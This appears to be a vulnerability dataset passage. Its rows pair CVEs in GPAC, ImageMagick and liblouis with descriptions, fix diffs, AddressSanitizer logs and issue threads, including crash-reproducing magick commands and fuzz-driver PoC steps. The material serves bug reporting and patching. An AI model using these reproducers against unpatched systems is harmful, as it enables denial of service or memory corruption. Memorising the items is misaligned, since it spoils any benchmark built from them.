#5 0x561e3a6f857b in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6481
#6 0x7f14bfb8b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow ietf/rtp_pck_mpeg4.c:594 in gp_rtp_builder_do_hevc
Shadow bytes around the buggy address:
0x0c047fff8390: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83a0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83c0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff83d0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff83e0: fa fa[05]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8410: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2628578==ABORTING
```
## version
system: ubuntu 20.04.3 LTS
compiler: gcc 9.3.0
gpac version: latest commit 6dcba5347cd12372225fc47080bc6e770fc4bb1b
```
MP4Box - GPAC version 2.1-DEV-rev114-g6dcba5347-master
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
```
## Credit
Han Zheng
[NCNIPC of China](http://www.nipc.org.cn)
[Hexhive](http://hexhive.epfl.ch/)
## POC
[crash.zip](https://github.com/gpac/gpac/files/8499508/crash.zip)
| https://nvd.nist.gov/vuln/detail/CVE-2022-29537 | |
imagemagick.cve-2019-13304 | ImageMagick 7.0.8-50 Q16 has a stack-based buffer overflow at coders/pnm.c in WritePNMImage because of a misplaced assignment. | https://github.com/ImageMagick/ImageMagick/issues/1614 | https://github.com/ImageMagick/ImageMagick/commit/7689875ef64f34141e7292f6945efdf0530b4a5e, https://github.com/ImageMagick/ImageMagick/issues/1614, https://github.com/ImageMagick/ImageMagick6/commit/bfa3b9610c83227894c92b0d312ad327fceb6241 | CWE-787 | ImageMagick/ImageMagick | 7689875ef64f34141e7292f6945efdf0530b4a5e~1 | diff --git a/coders/pnm.c b/coders/pnm.c
index afaea309d56..5849388dc9f 100644
--- a/coders/pnm.c
+++ b/coders/pnm.c
@@ -1756,13 +1756,13 @@ static MagickBooleanType WritePNMImage(const ImageInfo *image_info,Image *image,
{
*q++=(unsigned char) (GetPixelLuma(image,p) >= (QuantumRange/2.0) ?
'0' : '1');
- *q++=' ';
if ((q-pixels+1) >= (ssize_t) sizeof(pixels))
{
*q++='\n';
(void) WriteBlob(image,q-pixels,pixels);
q=pixels;
}
+ *q++=' ';
p+=GetPixelChannels(image);
}
*q++='\n';
| https://github.com/ImageMagick/ImageMagick/issues/1614 | =================================================================
==9828==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc293daa0 at pc 0x7f71ad7e3477 bp 0x7ffcc293a0f0 sp 0x7ffcc293a0e8
WRITE of size 1 at 0x7ffcc293daa0 thread T0
#0 0x7f71ad7e3476 in WritePNMImage coders/pnm.c:1762:21
#1 0x7f71ad07c065 in WriteImage MagickCore/constitute.c:1159:16
#2 0x7f71ad07cf8c in WriteImages MagickCore/constitute.c:1376:13
#3 0x7f71adaca4050d in CLINoImageOperator MagickWand/operation.c:4796:14
#4 0x7f71adaca441cc in CLIOption MagickWand/operation.c:5258:7
#5 0x7f71ac885f6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3
#6 0x7f71ac886d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#7 0x7f71ac8d0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#8 0x526f95 in MagickMain utilities/magick.c:149:10
#9 0x5268e1 in main utilities/magick.c:180:10
#10 0x7f71a7347b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x41b069 in _start (install/bin/magick+0x41b069)
Address 0x7ffcc293daa0 is located in stack of thread T0 at offset 14752 in frame
#0 0x7f71ad7e1daf in WritePNMImage coders/pnm.c:1522
This frame has 6 object(s):
[32, 4128) 'buffer' (line 1523)
[4256, 8352) 'magick' (line 1523)
[8480, 12576) 'type117' (line 1675)
[12704, 14752) 'pixels' (line 1736) <== Memory access at offset 14752 overflows this variable
[14880, 16928) 'pixels255' (line 1788)
[17056, 19104) 'pixels381' (line 1857)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow coders/pnm.c:1762:21 in WritePNMImage | === https://github.com/ImageMagick/ImageMagick/issues/1614 ===
Title: stack-buffer-overflow at coders/pnm.c:1762 in WritePNMImage
---
Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a stack buffer overflow at coders/pnm.c:1762 in WritePNMImage.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 -render "(" magick:rose -sample 846x913^+16+22 -white-threshold 112 ")" -compress None -adjoin tmp`
Here's ASAN log.
```
=================================================================
==9828==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc293daa0 at pc 0x7f71ad7e3477 bp 0x7ffcc293a0f0 sp 0x7ffcc293a0e8
WRITE of size 1 at 0x7ffcc293daa0 thread T0
#0 0x7f71ad7e3476 in WritePNMImage coders/pnm.c:1762:21
#1 0x7f71ad07c065 in WriteImage MagickCore/constitute.c:1159:16
#2 0x7f71ad07cf8c in WriteImages MagickCore/constitute.c:1376:13
#3 0x7f71aca4050d in CLINoImageOperator MagickWand/operation.c:4796:14
#4 0x7f71aca441cc in CLIOption MagickWand/operation.c:5258:7
#5 0x7f71ac885f6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3
#6 0x7f71ac886d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#7 0x7f71ac8d0ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#8 0x526f95 in MagickMain utilities/magick.c:149:10
#9 0x5268e1 in main utilities/magick.c:180:10
#10 0x7f71a7347b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x41b069 in _start (install/bin/magick+0x41b069)
Address 0x7ffcc293daa0 is located in stack of thread T0 at offset 14752 in frame
#0 0x7f71ad7e1daf in WritePNMImage coders/pnm.c:1522
This frame has 6 object(s):
[32, 4128) 'buffer' (line 1523)
[4256, 8352) 'magick' (line 1523)
[8480, 12576) 'type117' (line 1675)
[12704, 14752) 'pixels' (line 1736) <== Memory access at offset 14752 overflows this variable
[14880, 16928) 'pixels255' (line 1788)
[17056, 19104) 'pixels381' (line 1857)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow coders/pnm.c:1762:21 in WritePNMImage
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
---
Comment #1 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2019-13304.
---
Comment #3 by hlef:
FYI, there are still quite a few similar one-byte stack-buffer-overflows in this file, e.g.
* https://github.com/ImageMagick/ImageMagick6/blob/master/coders/pnm.c#L1777
* https://github.com/ImageMagick/ImageMagick6/blob/master/coders/pnm.c#L1790
* https://github.com/ImageMagick/ImageMagick6/blob/master/coders/pnm.c#L1846
We are not guaranteed to have enough place in the buffer before writing these `\n`.
Those are minor issues, no need to request CVE identifiers.
Should I open a separate bug report?
---
Comment #4 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
| https://nvd.nist.gov/vuln/detail/CVE-2019-13304 | |
liblouis.cve-2023-26768 | Buffer Overflow vulnerability found in Liblouis v.3.24.0 allows a remote attacker to cause a denial of service via the compileTranslationTable.c and lou_setDataPath functions. | https://github.com/liblouis/liblouis/issues/1301 | https://github.com/liblouis/liblouis/pull/1302 | CWE-120 | liblouis/liblouis | diff --git a/liblouis/logging.c b/liblouis/logging.c
index 9f470b45e5..2849cf26d4 100644
--- a/liblouis/logging.c
+++ b/liblouis/logging.c
@@ -117,8 +117,10 @@ _lou_logMessage(logLevels level, const char *format, ...) {
}
}
+#define FILENAMESIZE 256
+
static FILE *logFile = NULL;
-static char initialLogFileName[256] = "";
+static char initialLogFileName[FILENAMESIZE] = "";
void EXPORT_CALL
lou_logFile(const char *fileName) {
@@ -126,7 +128,7 @@ lou_logFile(const char *fileName) {
fclose(logFile);
logFile = NULL;
}
- if (fileName == NULL || fileName[0] == 0) return;
+ if (fileName == NULL || fileName[0] == 0 || strlen(fileName) >= FILENAMESIZE) return;
if (initialLogFileName[0] == 0) strcpy(initialLogFileName, fileName);
logFile = fopen(fileName, "a");
if (logFile == NULL && initialLogFileName[0] != 0)
| https://github.com/liblouis/liblouis/issues/1301, https://github.com/liblouis/liblouis/pull/1302 | $ ./driver-API-6223f21-lou_logFile-BO poc-API-6223f21-lou_logFile-BO
Minimum size is 0
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 2700932249
INFO: Loaded 1 modules (57 inline 8-bit counters): 57 [0x7b0360, 0x7b0399),
INFO: Loaded 1 PC tables (57 PCs): 57 [0x5705c0,0x570950),
./driver-API-6223f21-lou_logFile-BO: Running 1 inputs 1 time(s) each.
Running: poc-API-6223f21-lou_logFile-BO
=================================================================
==20412==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000108b6e0 at pc 0x00000050dbf8 bp 0x7ffe6a0ffac0 sp 0x7ffe6a0ff280
WRITE of size 4098 at 0x00000108b6e0 thread T0
#0 0x50dbf7 in strcpy /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:423:5
#1 0x55492e in lou_logFile /opt/disk/marsman/liblouis/6223f21/build_asan/liblouis/../../code/liblouis/logging.c:130:34
#2 0x553634 in AFG_func /opt/disk/marsman/liblouis/6223f21/./driver-API-6223f21-lou_logFile-BO.c:17:2
#3 0x553850 in LLVMFuzzerTestOneInput /opt/disk/marsman/liblouis/6223f21/./driver-API-6223f21-lou_logFile-BO.c:44:2
#4 0x459911 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:599:15
#5 0x4435d2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:323:6
#6 0x449940 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:856:9
#7 0x4738c2 in main /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
#8 0x7f8ea559983f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x41e0d8 in _start (/opt/disk/marsman/liblouis/6223f21/driver-API-6223f21-lou_logFile-BO+0x41e0d8)
0x00000108b6e0 is located 0 bytes to the right of global variable 'initialLogFileName' defined in '../../code/liblouis/logging.c:121:13' (0x108b5e0) of size 256
SUMMARY: AddressSanitizer: global-buffer-overflow /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:423:5 in strcpy
Shadow bytes around the buggy address:
0x000080209680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9
0x000080209690: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000802096a0: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000802096b0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000802096c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000802096d0: 00 00 00 00 00 00 00 00 00 00 00 00[f9]f9 f9 f9
0x0000802096e0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0000802096f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080209700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080209710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080209720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==20412==ABORTING | === https://github.com/liblouis/liblouis/issues/1301 ===
Title: global-buffer-overflow in lou_logFile() when long filename is given
---
Body:
## Summary
When long filename (larger than 256) is given to API `lou_logFile()`, there will be a global-buffer-overflow.
https://github.com/liblouis/liblouis/blob/517f6f1f35fc5c57ac2f045caa168191bdeaadde/liblouis/logging.c#L121-L130
## Test Environment
Ubuntu 16.04.3 LTS
liblouis (master, 6223f21)
## How to trigger
1. Compile liblouis with AddressSanitizer
2. Compile the [fuzz driver](https://raw.githubusercontent.com/Marsman1996/pocs/master/liblouis/driver-API-6223f21-lou_logFile-BO.c) and [poc file](https://raw.githubusercontent.com/Marsman1996/pocs/master/liblouis/poc-API-6223f21-lou_logFile-BO)
3. Compile the fuzz driver: `$ clang -g -fsanitize=address,fuzzer ./driver-API-6223f21-lou_logFile-BO.c ./bin_asan/lib/liblouis.a -I ./bin_asan/include/liblouis/ -o driver-API-6223f21-lou_logFile-BO`
4. run the compiled driver: `$ ./driver-API-6223f21-lou_logFile-BO poc-API-6223f21-lou_logFile-BO`
## ASAN report
```
$ ./driver-API-6223f21-lou_logFile-BO poc-API-6223f21-lou_logFile-BO
Minimum size is 0
INFO: Running with entropic power schedule (0xFF, 100).
INFO: Seed: 2700932249
INFO: Loaded 1 modules (57 inline 8-bit counters): 57 [0x7b0360, 0x7b0399),
INFO: Loaded 1 PC tables (57 PCs): 57 [0x5705c0,0x570950),
./driver-API-6223f21-lou_logFile-BO: Running 1 inputs 1 time(s) each.
Running: poc-API-6223f21-lou_logFile-BO
=================================================================
==20412==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000108b6e0 at pc 0x00000050dbf8 bp 0x7ffe6a0ffac0 sp 0x7ffe6a0ff280
WRITE of size 4098 at 0x00000108b6e0 thread T0
#0 0x50dbf7 in strcpy /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:423:5
#1 0x55492e in lou_logFile /opt/disk/marsman/liblouis/6223f21/build_asan/liblouis/../../code/liblouis/logging.c:130:34
#2 0x553634 in AFG_func /opt/disk/marsman/liblouis/6223f21/./driver-API-6223f21-lou_logFile-BO.c:17:2
#3 0x553850 in LLVMFuzzerTestOneInput /opt/disk/marsman/liblouis/6223f21/./driver-API-6223f21-lou_logFile-BO.c:44:2
#4 0x459911 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:599:15
#5 0x4435d2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:323:6
#6 0x449940 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:856:9
#7 0x4738c2 in main /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10
#8 0x7f8ea559983f in __libc_start_main /build/glibc-S7Ft5T/glibc-2.23/csu/../csu/libc-start.c:291
#9 0x41e0d8 in _start (/opt/disk/marsman/liblouis/6223f21/driver-API-6223f21-lou_logFile-BO+0x41e0d8)
0x00000108b6e0 is located 0 bytes to the right of global variable 'initialLogFileName' defined in '../../code/liblouis/logging.c:121:13' (0x108b5e0) of size 256
SUMMARY: AddressSanitizer: global-buffer-overflow /local/mnt/workspace/bcain_clang_vm-bcain-aus_3184/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:423:5 in strcpy
Shadow bytes around the buggy address:
0x000080209680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9
0x000080209690: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000802096a0: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
0x0000802096b0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000802096c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000802096d0: 00 00 00 00 00 00 00 00 00 00 00 00[f9]f9 f9 f9
0x0000802096e0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0000802096f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080209700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080209710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000080209720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==20412==ABORTING
```
---
Comment #1 by Marsman1996:
I checked other `strcpy()` functions in this library, they are OK since the size of the src and the dest buffer is equal.
Except for the `strcpy()` in `print_dots()` at lou_trace.c:
https://github.com/liblouis/liblouis/blob/018edce262d65d99bf80ce7af5a82c0b32a898e9/tools/lou_trace.c#L100-L105
The max size of the src buffer (i.e., `scratchBuf`) returned by `_lou_showDots()` is 2048.
https://github.com/liblouis/liblouis/blob/1cf768700e9b42e4bf655c72f041a03f30b865a6/liblouis/utils.c#L260-L275
While the size of the dest buffer (i.e., `dots`) is 512.
However, the above is my static analysis result, and for now I cannot trigger the overflow from the program or API entry.
So maybe it is a false positive.
---
Comment #2 by Marsman1996:
Should I commit the fix together with #1300, or open a new pull request?
---
Comment #3 by egli:
> Should I commit the fix together with #1300, or open a new pull request?
Hi @Marsman1996 , please open a new PR for this issue, thanks
---
Comment #4 by Marsman1996:
Hi, I open a new PR #1302 to fix this problem. | https://nvd.nist.gov/vuln/detail/CVE-2023-26768 | ||
imagemagick.cve-2019-13305 | ImageMagick 7.0.8-50 Q16 has a stack-based buffer overflow at coders/pnm.c in WritePNMImage because of a misplaced strncpy and an off-by-one error. | https://github.com/ImageMagick/ImageMagick/issues/1613 | https://github.com/ImageMagick/ImageMagick/commit/29efd648f38b73a64d73f14cd2019d869a585888, https://github.com/ImageMagick/ImageMagick/issues/1613, https://github.com/ImageMagick/ImageMagick6/commit/5c7fbf9a14fb83c9685ad69d48899f490a37609d | CWE-193, CWE-787 | ImageMagick/ImageMagick | 29efd648f38b73a64d73f14cd2019d869a585888~1 | diff --git a/coders/pnm.c b/coders/pnm.c
index a54bc60c33d..afaea309d56 100644
--- a/coders/pnm.c
+++ b/coders/pnm.c
@@ -1824,14 +1824,14 @@ static MagickBooleanType WritePNMImage(const ImageInfo *image_info,Image *image,
count=(ssize_t) FormatLocaleString(buffer,MagickPathExtent,
"%u ",ScaleQuantumToLong(index));
extent=(size_t) count;
- (void) strncpy((char *) q,buffer,extent);
- q+=extent;
- if ((q-pixels+extent+2) >= sizeof(pixels))
+ if ((q-pixels+extent+1) >= sizeof(pixels))
{
*q++='\n';
(void) WriteBlob(image,q-pixels,pixels);
q=pixels;
}
+ (void) strncpy((char *) q,buffer,extent);
+ q+=extent;
p+=GetPixelChannels(image);
}
*q++='\n';
@@ -1899,14 +1899,14 @@ static MagickBooleanType WritePNMImage(const ImageInfo *image_info,Image *image,
ScaleQuantumToLong(GetPixelGreen(image,p)),
ScaleQuantumToLong(GetPixelBlue(image,p)));
extent=(size_t) count;
- (void) strncpy((char *) q,buffer,extent);
- q+=extent;
if ((q-pixels+extent+2) >= sizeof(pixels))
{
*q++='\n';
(void) WriteBlob(image,q-pixels,pixels);
q=pixels;
}
+ (void) strncpy((char *) q,buffer,extent);
+ q+=extent;
p+=GetPixelChannels(image);
}
*q++='\n';
| https://github.com/ImageMagick/ImageMagick/issues/1613 | =================================================================
==25473==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe4120cba0 at pc 0x7f1d07f024d8 bp 0x7ffe412080f0 sp 0x7ffe412080e8
WRITE of size 1 at 0x7ffe4120cba0 thread T0
#0 0x7f1d07f024d7 in WritePNMImage coders/pnm.c:1906:21
#1 0x7f1d0779a065 in WriteImage MagickCore/constitute.c:1159:16
#2 0x7f1d0779af8c in WriteImages MagickCore/constitute.c:1376:13
#3 0x7f1d0715e50d in CLINoImageOperator MagickWand/operation.c:4796:14
#4 0x7f1d071621cc in CLIOption MagickWand/operation.c:5258:7
#5 0x7f1d06fa3f6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3
#6 0x7f1d06fa4d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#7 0x7f1d06feeba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#8 0x526f95 in MagickMain utilities/magick.c:149:10
#9 0x5268e1 in main utilities/magick.c:180:10
#10 0x7f1d01a65b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x41b069 in _start (install/bin/magick+0x41b069)
Address 0x7ffe4120cba0 is located in stack of thread T0 at offset 19104 in frame
#0 0x7f1d07effdaf in WritePNMImage coders/pnm.c:1522
This frame has 6 object(s):
[32, 4128) 'buffer' (line 1523)
[4256, 8352) 'magick' (line 1523)
[8480, 12576) 'type117' (line 1675)
[12704, 14752) 'pixels' (line 1736)
[14880, 16928) 'pixels255' (line 1788)
[17056, 19104) 'pixels381' (line 1857) <== Memory access at offset 19104 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow coders/pnm.c:1906:21 in WritePNMImage | === https://github.com/ImageMagick/ImageMagick/issues/1613 ===
Title: stack-buffer-overflow at coders/pnm.c:1906 in WritePNMImage
---
Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a stack-buffer-overflow at coders/pnm.c:1906 in WritePNMImage.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 -undercolor rgb"("67,255,32")" -compress None "(" magick:rose -solarize 1% ")" "(" magick:logo +repage ")" -size 2338x1505+3581 -print "" tmp`
Here's ASAN log.
```
=================================================================
==25473==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe4120cba0 at pc 0x7f1d07f024d8 bp 0x7ffe412080f0 sp 0x7ffe412080e8
WRITE of size 1 at 0x7ffe4120cba0 thread T0
#0 0x7f1d07f024d7 in WritePNMImage coders/pnm.c:1906:21
#1 0x7f1d0779a065 in WriteImage MagickCore/constitute.c:1159:16
#2 0x7f1d0779af8c in WriteImages MagickCore/constitute.c:1376:13
#3 0x7f1d0715e50d in CLINoImageOperator MagickWand/operation.c:4796:14
#4 0x7f1d071621cc in CLIOption MagickWand/operation.c:5258:7
#5 0x7f1d06fa3f6d in ProcessCommandOptions MagickWand/magick-cli.c:529:3
#6 0x7f1d06fa4d0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#7 0x7f1d06feeba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#8 0x526f95 in MagickMain utilities/magick.c:149:10
#9 0x5268e1 in main utilities/magick.c:180:10
#10 0x7f1d01a65b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x41b069 in _start (install/bin/magick+0x41b069)
Address 0x7ffe4120cba0 is located in stack of thread T0 at offset 19104 in frame
#0 0x7f1d07effdaf in WritePNMImage coders/pnm.c:1522
This frame has 6 object(s):
[32, 4128) 'buffer' (line 1523)
[4256, 8352) 'magick' (line 1523)
[8480, 12576) 'type117' (line 1675)
[12704, 14752) 'pixels' (line 1736)
[14880, 16928) 'pixels255' (line 1788)
[17056, 19104) 'pixels381' (line 1857) <== Memory access at offset 19104 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow coders/pnm.c:1906:21 in WritePNMImage
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
---
Comment #1 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2019-13305. | https://nvd.nist.gov/vuln/detail/CVE-2019-13305 | |
imagemagick.cve-2017-11533 | When ImageMagick 7.0.6-1 processes a crafted file in convert, it can lead to a heap-based buffer over-read in the WriteUILImage() function in coders/uil.c. | https://github.com/ImageMagick/ImageMagick/issues/562 | https://github.com/ImageMagick/ImageMagick/issues/562 | CWE-125 | ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/issues/562 | ==3160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d00001cbdc at pc 0x7f505478c77d bp 0x7fff1b1513b0 sp 0x7fff1b1513a0
READ of size 1 at 0x62d00001cbdc thread T0
#0 0x7f505478c77c in WriteUILImage coders/uil.c:273
#1 0x7f50542471c6 in WriteImage MagickCore/constitute.c:1114
#2 0x7f5054247e42 in WriteImages MagickCore/constitute.c:1333
#3 0x7f5053a9a3eb in ConvertImageCommand MagickWand/convert.c:3280
#4 0x7f5053b92d98 in MagickCommandGenesis MagickWand/mogrify.c:183
